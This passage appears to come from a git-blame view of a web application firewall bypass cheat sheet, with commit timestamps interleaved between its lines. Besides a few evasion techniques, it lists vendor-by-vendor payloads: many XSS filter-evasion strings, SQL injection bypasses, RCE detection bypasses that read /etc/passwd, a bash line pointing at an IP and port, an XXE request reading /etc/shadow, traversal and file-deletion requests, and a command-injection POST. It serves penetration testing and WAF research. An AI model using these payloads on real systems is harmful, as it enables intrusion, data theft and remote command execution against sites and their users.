- Usually some `*-sync-request` keywords or a shared token value is used as the secret.
2022-03-12 11:52:44 +07:00
- Often adding specific headers may trigger a similar whitelist behaviour.
2019-10-14 00:05:58 +07:00
Now when making a request to the server, you can append it as a parameter:
```
http://host.com/?randomparameter=< malicious-payload > & < shared-secret > =True
```
> A real life example how this works can be found at [this blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/).
2019-02-22 20:27:56 +07:00
### Request Header Spoofing:
2019-02-20 03:18:48 +07:00
#### Method:
- The target is to fool the WAF/server into believing it was from their internal network.
- Adding some spoofed headers to represent the internal network, does the trick.
#### Technique:
- With each request some set of headers are to be added simultaneously thus spoofing the origin.
2019-02-22 20:27:56 +07:00
- The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
2019-02-20 03:18:48 +07:00
Some common headers used:
```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
```
2019-02-19 20:02:17 +07:00
### Google Dorks Approach:
#### Method:
2019-02-13 20:25:39 +07:00
- There are a lot of known bypasses of various web application firewalls ([see section](#known-bypasses)).
- With the help of google dorks, we can easily find bypasses.
2019-02-19 20:02:17 +07:00
#### Techniques:
Before anything else, you should hone up skills from [Google Dorks Cheat Sheet ](http://pdf.textfiles.com/security/googlehackers.pdf ).
2019-02-15 20:21:31 +07:00
- Normal search:
`+<wafname> waf bypass`
- Searching for specific version exploits:
2019-02-19 20:02:17 +07:00
`"<wafname> <version>" (bypass|exploit)`
- For specific type bypass exploits:
`"<wafname>" +<bypass type> (bypass|exploit)`
2019-02-15 20:21:31 +07:00
- On [Exploit DB ](https://exploit-db.com ):
`site:exploit-db.com +<wafname> bypass`
2019-02-13 20:25:39 +07:00
2019-02-15 20:21:31 +07:00
- On [0Day Inject0r DB ](https://0day.today ):
2019-02-19 20:02:17 +07:00
`site:0day.today +<wafname> <type> (bypass|exploit)`
2019-02-13 20:25:39 +07:00
2019-02-15 20:21:31 +07:00
- On [Twitter ](https://twitter.com ):
`site:twitter.com +<wafname> bypass`
2019-02-06 20:03:23 +07:00
2019-02-19 20:02:17 +07:00
- On [Pastebin ](https://pastebin.com )
`site:pastebin.com +<wafname> bypass`
2019-03-13 20:10:25 +07:00
## Known Bypasses:
2019-03-19 22:55:05 +07:00
### Airlock Ergon
- SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by [@Sec Consult ](https://www.exploit-db.com/?author=1614 )
```
%C0%80'+union+select+col1,col2,col3+from+table+--+
```
2019-03-23 00:36:23 +07:00
### AWS
- [SQLi Bypass ](https://github.com/enkaskal/aws-waf-sqli-bypass-PoC ) by [@enkaskal ](https://twitter.com/enkaskal )
```
"; select * from TARGET_TABLE --
```
2019-07-27 07:56:12 +07:00
- [XSS Bypass ](https://github.com/kmkz/Pentesting/blob/master/Pentest-Cheat-Sheet#L285 ) by [@kmkz ](https://twitter.com/kmkz_security )
```
< script > e v a l ( a t o b ( d e c o d e U R I C o m p o n e n t ( " p a y l o a d " ) ) ) / /
```
2019-03-23 00:36:23 +07:00
2019-03-13 20:10:25 +07:00
### Barracuda
- Cross Site Scripting by [@WAFNinja ](https://waf.ninja )
```
< body style = "height:1000px" onwheel = "alert(1)" >
< div contextmenu = "xss" > Right-Click Here< menu id = "xss" onshow = "alert(1)" >
< b / % 25 % 32 % 35 % 25 % 33 % 36 % 25 % 36 % 36 % 25 % 32 % 35 % 25 % 33 % 36 % 25 % 36 % 35mouseover = alert(1) >
```
- HTML Injection by [@Global-Evolution ](https://www.exploit-db.com/?author=2016 )
```
GET /cgi-mod/index.cgi?& primary_tab=ADVANCED& secondary_tab=test_backup_server& content_only=1& & & backup_port=21& & backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E& & backup_type=ftp& & backup_life=5& & backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E& & backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E& & backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E& & user=guest& & password=121c34d4e85dfe6758f31ce2d7b763e7& & et=1261217792& & locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
```
2019-06-03 14:48:59 +07:00
- XSS Bypass by [@0xInfection ](https://twitter.com/0xInfection )
2019-03-13 20:10:25 +07:00
```
2019-05-22 13:57:46 +07:00
< a href = j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open() > clickhere
2019-03-13 20:10:25 +07:00
```
- [Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit) ](https://www.exploit-db.com/exploits/40146 ) by [@xort ](https://www.exploit-db.com/?author=479# )
- [Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit) ](https://www.exploit-db.com/exploits/40147 ) by [@xort ](https://www.exploit-db.com/?author=479 )
2019-03-19 22:55:05 +07:00
### Cerber (WordPress)
- Username Enumeration Protection Bypass by HTTP Verb Tampering by [@ed0x21son ](https://www.exploit-db.com/?author=9901 )
```
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
```
- Protected Admin Scripts Bypass by [@ed0x21son ](https://www.exploit-db.com/?author=9901 )
```
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
```
- REST API Disable Bypass by [@ed0x21son ](https://www.exploit-db.com/?author=9901 )
```
http://host/index.php/wp-json/wp/v2/users/
```
2019-02-26 13:44:18 +07:00
### Citrix NetScaler
2019-03-19 22:55:05 +07:00
- SQLi via HTTP Parameter Pollution (NS10.5) by [@BGA Security ](https://www.exploit-db.com/?author=7396 )
2019-02-26 13:44:18 +07:00
```
< soapenv:Envelope xmlns:soapenv = "http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem = "http://tempuri.org/" >
< soapenv:Header / >
< soapenv:Body >
< string > ’ union select current_user, 2#< / string >
< / soapenv:Body >
< / soapenv:Envelope >
```
2019-03-22 01:17:46 +07:00
- [`generic_api_call.pl` XSS ](https://www.exploit-db.com/exploits/30777 ) by [@NNPoster ](https://www.exploit-db.com/?author=6654 )
2019-02-26 13:44:18 +07:00
```
2019-03-19 22:55:05 +07:00
http://host/ws/generic_api_call.pl?function=statns& standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
2019-02-26 13:44:18 +07:00
```
### Cloudflare
2021-01-15 22:02:27 +07:00
- [XSS Bypass ](https://twitter.com/SalahHasoneh1/status/1281254703360344064 ) by [@@SalahHasoneh1 ](https://twitter.com/@SalahHasoneh1 )
```
< svg onx = () onload = (confirm)(1) >
```
2019-08-14 23:00:53 +07:00
- [XSS Bypass ](https://pastebin.com/i8Ans4d4 ) by [@c0d3g33k ](https://twitter.com/c0d3g33k )
2019-06-05 08:58:10 +07:00
```
< a + HREF = 'javascrip%26%239t:alert%26lpar;document.domain)' > test< / a >
```
2019-08-14 23:00:53 +07:00
- [XSS Bypasses ](https://twitter.com/h1_ragnar ) by [@Bohdan Korzhynskyi ](https://twitter.com/h1_ragnar )
2019-06-05 08:58:10 +07:00
```
< svg onload = prompt%26%230000000040document.domain) >
< svg onload = prompt%26%23x000000028;document.domain) >
xss'">< iframe srcdoc = '%26lt;script>;prompt`${document.domain}`%26lt;/script>' >
2019-07-15 16:57:12 +07:00
1'">< img / src / onerror = .1|alert`` >
2019-06-05 08:58:10 +07:00
```
2019-08-14 23:00:53 +07:00
- [XSS Bypass ](https://twitter.com/RakeshMane10/status/1109008686041759744 ) by [@RakeshMane10 ](https://twitter.com/rakeshmane10 )
2019-03-22 15:38:10 +07:00
```
< svg / onload = alert()//
```
2019-08-14 23:00:53 +07:00
- [XSS Bypass ](https://twitter.com/ArbazKiraak/status/1090654066986823680 ) by [@ArbazKiraak ](https://twitter.com/ArbazKiraak )
2019-02-08 20:11:23 +07:00
```
2019-02-15 20:21:31 +07:00
< a href = "j	a	v	asc
ri	pt: \u0061 \u006C \u0065 \u0072 \u0074(this['document']['cookie'])" > X</ a > `
2019-02-08 20:11:23 +07:00
```
2019-02-28 15:10:45 +07:00
- XSS Bypass by [@Ahmet Ümit ](https://twitter.com/ahmetumitbayram )
```
< -- ` < img / src = ` onerror = confirm`` > --!>
```
2019-07-11 13:34:16 +07:00
- [XSS Bypass ](https://twitter.com/le4rner/status/1146453980400082945 ) by [@Shiva Krishna ](https://twitter.com/le4rner )
```
javascript:{alert`0`}
```
2019-07-15 16:57:12 +07:00
- [XSS Bypass ](https://twitter.com/brutelogic/status/1147118371965755393 ) by [@Brute Logic ](https://twitter.com/brutelogic )
```
< base href = //knoxss.me?
```
- [XSS Bypass ](https://twitter.com/RenwaX23/status/1147130091031449601 ) by [@RenwaX23 ](https://twitter.com/RenwaX23 ) (Chrome only)
```
< j id = x style = "-webkit-user-modify:read-write" onfocus = {window.onerror=eval}throw/0/+name > H< / j > #x
```
2019-05-24 09:34:28 +07:00
- [RCE Payload Detection Bypass ](https://www.secjuice.com/web-application-firewall-waf-evasion/ ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle )
```
cat$u+/etc$u/passwd$u
/bin$u/bash$u < ip > < port >
";cat+/etc/passwd+#
```
2019-02-08 20:11:23 +07:00
2020-01-03 22:32:19 +07:00
### Cloudbric
- [XSS Bypass ](https://twitter.com/0xInfection/status/1212331839743873026 ) by [@0xInfection ](https://twitter.com/0xinfection )
```
< a69 / onclick = [1].findIndex(alert) > pew
```
2019-02-26 13:44:18 +07:00
### Comodo
2019-07-15 16:57:12 +07:00
- XSS Bypass by [@0xInfection ](https://twitter.com/0xinfection )
2019-03-13 14:37:27 +07:00
```
2019-05-22 13:57:46 +07:00
< input / oninput = 'new Function`confir \u006d \`0 \``' >
< p / ondragstart = %27confirm(0)%27.replace(/.+/,eval)%20draggable=True > dragme
2019-03-13 14:37:27 +07:00
```
2019-02-26 13:44:18 +07:00
- SQLi by [@WAFNinja ](https://waf.ninja )
```
0 union/**/select 1,version(),@@datadir
```
2019-03-13 20:10:25 +07:00
### DotDefender
2019-02-19 20:02:17 +07:00
- Firewall disable by (v5.0) by [@hyp3rlinx ](http://hyp3rlinx.altervista.org )
2019-02-08 20:11:23 +07:00
```
2019-02-19 20:02:17 +07:00
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
< enabled > false< / enabled >
2019-02-08 20:11:23 +07:00
```
2019-02-19 20:02:17 +07:00
- Remote Command Execution (v3.8-5) by [@John Dos ](https://www.exploit-db.com/?author=1996 )
2019-02-08 20:11:23 +07:00
```
2019-02-19 20:02:17 +07:00
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
2019-02-26 13:44:18 +07:00
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
2019-02-19 20:02:17 +07:00
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
2019-02-13 20:25:39 +07:00
2019-02-26 13:44:18 +07:00
sitename=dotdefeater&deletesitename=dotdefeater; id;ls -al ../;pwd;& action=deletesite& linenum=15
2019-02-19 20:02:17 +07:00
```
- Persistent XSS (v4.0) by [@EnableSecurity ](https://enablesecurity.com )
```
GET /c?a=< script > H T T P / 1 . 1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
< script > alert ( 1 ) < / script > : aa
Keep-Alive: 300
```
2019-02-15 20:21:31 +07:00
- R-XSS Bypass by [@WAFNinja ](https://waf.ninja )
2019-02-08 20:11:23 +07:00
```
< svg / onload = prompt(1); >
< isindex action = "javas&tab;cript:alert(1)" type = image >
< marquee / onstart = confirm(2) >
```
2019-04-26 11:11:01 +07:00
- XSS Bypass by [@0xInfection ](https://twitter.com/0xinfection )
2019-03-13 14:37:27 +07:00
```
2019-04-26 11:11:01 +07:00
< p draggable = True ondragstart = prompt() > alert
2019-06-21 22:33:01 +07:00
< bleh / ondragstart = 	parent	['open']	()%20draggable=True > dragme
2020-01-03 22:32:19 +07:00
< a69 / onclick = [1].findIndex(alert) > click
2019-03-13 14:37:27 +07:00
```
2019-02-19 20:02:17 +07:00
- GET - XSS Bypass (v4.02) by [@DavidK ](https://www.exploit-db.com/?author=2741 )
2019-02-08 20:11:23 +07:00
```
2019-02-15 20:21:31 +07:00
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
2019-02-08 20:11:23 +07:00
< img src = "WTF" onError = "{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
```
2019-02-19 20:02:17 +07:00
- POST - XSS Bypass (v4.02) by [@DavidK ](https://www.exploit-db.com/?author=2741 )
2019-02-08 20:11:23 +07:00
```
< img src = "WTF" onError = "{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
```
2019-02-19 20:02:17 +07:00
- `clave` XSS (v4.02) by [@DavidK ](https://www.exploit-db.com/?author=2741 )
```
/?& idPais=3& clave=%3Cimg%20src=%22WTF%22%20onError=%22{
```
2019-02-08 20:11:23 +07:00
2019-03-13 20:10:25 +07:00
### Fortinet Fortiweb
2019-02-15 20:21:31 +07:00
- `pcre_expression` unvaidated XSS by [@Benjamin Mejri ](https://www.exploit-db.com/?author=7854 )
2019-02-08 20:11:23 +07:00
```
/waf/pcre_expression/validate?redir=/success& mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C& mkey=0
```
2019-02-15 20:21:31 +07:00
- CSP Bypass by [@Binar10 ](https://www.exploit-db.com/exploits/18840 )
POST Type Query
```
POST /< path > /login-app.aspx HTTP/1.1
Host: < host >
User-Agent: < any valid user agent string >
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: < the content length must be at least 2399 bytes >
var1=datavar1& var2=datavar12& pad=< random data to complete at least 2399 bytes >
```
GET Type Query
```
http://< domain > /path?var1=vardata1& var2=vardata2& pad=< large arbitrary data >
```
2019-02-08 20:11:23 +07:00
2019-03-19 22:55:05 +07:00
### F5 ASM
2019-02-15 20:21:31 +07:00
- XSS Bypass by [@WAFNinja ](https://waf.ninja )
2019-02-08 20:11:23 +07:00
```
< table background = "javascript:alert(1)" > < / table >
"/>< marquee onfinish = confirm(123) > a< / marquee >
```
2019-03-19 22:55:05 +07:00
### F5 BIG-IP
2019-02-15 20:21:31 +07:00
- XSS Bypass by [@WAFNinja ](https://waf.ninja/ )
2019-02-08 20:11:23 +07:00
```
< body style = "height:1000px" onwheel = "[DATA]" >
< div contextmenu = "xss" > Right-Click Here< menu id = "xss" onshow = "[DATA]" >
< body style = "height:1000px" onwheel = "prom%25%32%33%25%32%36x70;t(1)" >
< div contextmenu = "xss" > Right-Click Here< menu id = "xss" onshow = "prom%25%32%33%25%32%36x70;t(1)" >
```
2019-06-04 13:40:06 +07:00
- XSS Bypass by [@Aatif Khan ](https://twitter.com/thenapsterkhan )
```
< body style = "height:1000px" onwheel = "prom%25%32%33%25%32%36x70;t(1)" >
< div contextmenu = "xss" > Right-Click Here< menu id = "xss" onshow = "prom%25%32%33%25%32%36x70;t(1)“ >
```
2019-03-19 22:55:05 +07:00
- [`report_type` XSS ](https://www.securityfocus.com/bid/27462/info ) by [@NNPoster ](https://www.exploit-db.com/?author=6654 )
```
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
```
2019-02-15 20:21:31 +07:00
- POST Based XXE by [@Anonymous ](https://www.exploit-db.com/?author=2168 )
```
2019-03-19 22:55:05 +07:00
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
2019-02-15 20:21:31 +07:00
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
< message > < dialogueType > &e; < / dialogueType > < / message >
```
2019-03-19 22:55:05 +07:00
- Directory Traversal by [@Anastasios Monachos ](https://www.exploit-db.com/?author=2932 )
2019-02-08 20:11:23 +07:00
2019-02-15 20:21:31 +07:00
Read Arbitrary File
2019-02-08 20:11:23 +07:00
```
2019-02-15 20:21:31 +07:00
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?& name=../../../../../etc/passwd
```
Delete Arbitrary File
```
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=& handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties& handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties& showObjList=& showObjList_before=& hideObjList=& hideObjList_before=& enableObjList=& enableObjList_before=& disableObjList=& disableObjList_before=& _bufvalue=icHjvahr354NZKtgQXl5yh2b& _bufvalue_before=icHjvahr354NZKtgQXl5yh2b& _bufvalue_validation=NO_VALIDATION& com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties& com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties& linked_add_id=& linked_add_id_before=& name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd& name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd& form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F& form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F& download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd& restore_before=Restore& delete=Delete& delete_before=Delete
```
### F5 FirePass
- SQLi Bypass from [@Anonymous ](https://www.exploit-db.com/?author=2168 )
```
state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
2019-02-08 20:11:23 +07:00
```
2019-06-04 13:40:06 +07:00
### ModSecurity
2020-01-03 22:32:19 +07:00
- [XSS Bypass for CRS 3.2 ](https://twitter.com/brutelogic/status/1209086328383660033 ) by [@brutelogic ](https://twitter.com/brutelogic )
```
< a href = "jav%0Dascript:alert(1)" >
````
2019-05-24 09:34:28 +07:00
- [RCE Payloads Detection Bypass for PL3 ](https://www.secjuice.com/web-application-firewall-waf-evasion/ ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle ) (v3.1)
```
;+$u+cat+/etc$u/passwd$u
```
- [RCE Payloads Detection Bypass for PL2 ](https://www.secjuice.com/web-application-firewall-waf-evasion/ ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle ) (v3.1)
```
;+$u+cat+/etc$u/passwd+\#
```
- [RCE Payloads for PL1 and PL2 ](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8 ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle ) (v3.0)
```
/???/??t+/???/??ss??
```
- [RCE Payloads for PL3 ](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8 ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle ) (v3.0)
```
/?in/cat+/et?/passw?
```
2019-06-04 13:40:06 +07:00
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@Johannes Dahse ](https://twitter.com/#!/fluxreiners ) (v2.2)
```
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@Yuri Goltsev ](https://twitter.com/#!/ygoltsev ) (v2.2)
```
1 AND (select DCount(last(username)& after=1& after=1) from users where username='ad1min')
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@Ahmad Maulana ](http://twitter.com/#!/hmadrwx ) (v2.2)
```
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@Travis Lee ](http://twitter.com/#!/eelsivart ) (v2.2)
```
amUserId=1 union select username,password,3,4 from users
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@Roberto Salgado ](http://twitter.com/#!/lightos ) (v2.2)
```
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@Georgi Geshev ](http://twitter.com/#!/ggeshev ) (v2.2)
```
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@SQLMap Devs ](http://sqlmap.sourceforge.net/#developers ) (v2.2)
```
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
```
- [SQLi Bypass ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) by [@HackPlayers ](http://twitter.com/#!/hackplayers ) (v2.2)
```
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
```
2019-05-24 09:34:28 +07:00
2019-05-22 14:10:47 +07:00
### Imperva
2021-08-06 12:44:00 +07:00
- [XSS Bypass ](https://twitter.com/smaury92/status/1422599636800450572 ) by [@smaury92 ](https://twitter.com/smaury92 )
```html
< input id = 'a' value = 'global' >< input id = 'b' value = 'E' >< input ' id = 'c' value = 'val' >< input id = 'd' value = 'aler' >< input id = 'e' value = 't(documen' >< input id = 'f' value = 't.domain)' >< svg + onload [ \r\n]=$[ a . value + b . value + c . value ]( d . value + e . value + f . value ) >
```
2021-07-27 22:56:46 +07:00
- [XSS Bypass ](https://twitter.com/0xInfection/status/1420046446095519749 ) by [@0xInfection ](https://twitter.com/0xInfection )
```html
< x / onclick = globalThis[' \u0070r \u006f'+'mpt']<) > clickme
```
2021-02-26 14:18:53 +07:00
- [XSS Bypass ](https://twitter.com/0xInfection/status/1364622858090016777 ) by [@0xInfection ](https://twitter.com/0xInfection )
```html
< a / href = "j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" / > click
2020-01-03 22:32:19 +07:00
```
2021-02-26 14:18:53 +07:00
- [XSS Bypass ](https://twitter.com/0xInfection/status/1212331839743873026 ) by [@0xInfection ](https://twitter.com/0xinfection )
```html
2020-01-03 22:32:19 +07:00
< a69 / onclick = write() > pew
```
2019-10-27 18:28:19 +07:00
- [XSS Bypass ](https://twitter.com/_ugurercan/status/1188406765735632896 ) by [@ugurercan ](https://twitter.com/_ugurercan )
2021-02-26 14:18:53 +07:00
```html
2019-10-27 18:28:19 +07:00
< details / ontoggle = "self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];" / open >
2019-10-27 12:40:01 +07:00
```
2019-02-26 13:44:18 +07:00
- [Imperva SecureSphere 13 - Remote Command Execution ](https://www.exploit-db.com/exploits/45542 ) by [@rsp3ar ](https://www.exploit-db.com/?author=9396 )
2019-05-22 14:10:47 +07:00
- XSS Bypass by [@David Y ](https://twitter.com/daveysec )
2019-02-08 20:11:23 +07:00
```
2019-05-22 14:10:47 +07:00
< svg onload \r\n= $.globalEval("al"+"ert()"); >
```
- XSS Bypass by [@Emad Shanab ](https://twitter.com/alra3ees )
```
< svg / onload = self[`aler`%2b`t`]`1` >
2019-02-26 13:44:18 +07:00
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
2019-02-08 20:11:23 +07:00
```
2019-02-26 13:44:18 +07:00
- XSS Bypass by [@WAFNinja ](https://waf.ninja )
2019-02-15 20:21:31 +07:00
```
2019-02-26 13:44:18 +07:00
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
```
- XSS Bypass by [@i_bo0om ](https://twitter.com/i_bo0om )
```
< iframe / onload = 'this["src"]="javas	cript:al"+"ert``"' ; >
< img / src = q onerror = 'new Function`al \ert \`1 \``' >
```
- XSS Bypass by [@c0d3g33k ](https://twitter.com/c0d3g33k )
```
< object data = 'data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==' > < / object >
```
- SQLi Bypass by [@DRK1WI ](https://www.exploit-db.com/?author=7740 )
```
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
```
- SQLi by [@Giuseppe D'Amore ](https://www.exploit-db.com/?author=6413 )
```
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum< =1 and PASSWORD like '0%') and '1%%'='1
```
- [Imperva SecureSphere <= v13 - Privilege Escalation ](https://www.exploit-db.com/exploits/45130 ) by [@0x09AL ](https://www.exploit-db.com/?author=8991 )
2019-02-15 20:21:31 +07:00
2019-03-19 22:55:05 +07:00
### Kona SiteDefender
2022-01-16 01:51:06 +07:00
- [XSS Bypass ](https://twitter.com/XSaadAhmedX/status/1482398313227948034 ) by [@SaadAhmed ](https://twitter.com/XSaadAhmedX )
```
%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[`al`+`ert`](1)%3E%23leet%3C/marquee%3E
```
2019-10-22 02:34:13 +07:00
- [XSS Bypass ](https://twitter.com/h1_kenan/status/1185826172308983808 ) by [@h1_kenan ](https://twitter.com/h1_kenan )
```
asd"on+< >+onpointerenter%3d"x%3dconfirm,x(cookie)
```
- [HTML Injection ](https://hackerone.com/reports/263226 ) by [@sp1d3rs ](https://twitter.com/h1_sp1d3rs )
2019-06-03 13:59:07 +07:00
```
%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E
```
2019-06-03 14:31:03 +07:00
- [XSS Bypass ](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c ) by [@Jonathan Bouman ](https://twitter.com/jonathanbouman )
```
< body % 20alt = al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"
```
- [XSS Bypass ](https://twitter.com/XssPayloads/status/1008573444840198144?s=20 ) by [@zseano ](https://twitter.com/zseano )
2019-03-19 22:55:05 +07:00
```
?"></ script >< base % 20c % 3D = href%3Dhttps: \mysite >
```
2019-05-24 09:34:28 +07:00
- XSS Bypass by [@0xInfection ](https://twitter.com/0xInfection )
2019-03-19 22:55:05 +07:00
```
2019-04-26 11:11:01 +07:00
< abc / onmouseenter = confirm%60%60 >
2019-03-19 22:55:05 +07:00
```
2019-06-03 13:59:07 +07:00
- [XSS Bypass ](https://hackerone.com/reports/263226 ) by [@sp1d3rs ](https://twitter.com/h1_sp1d3rs )
```
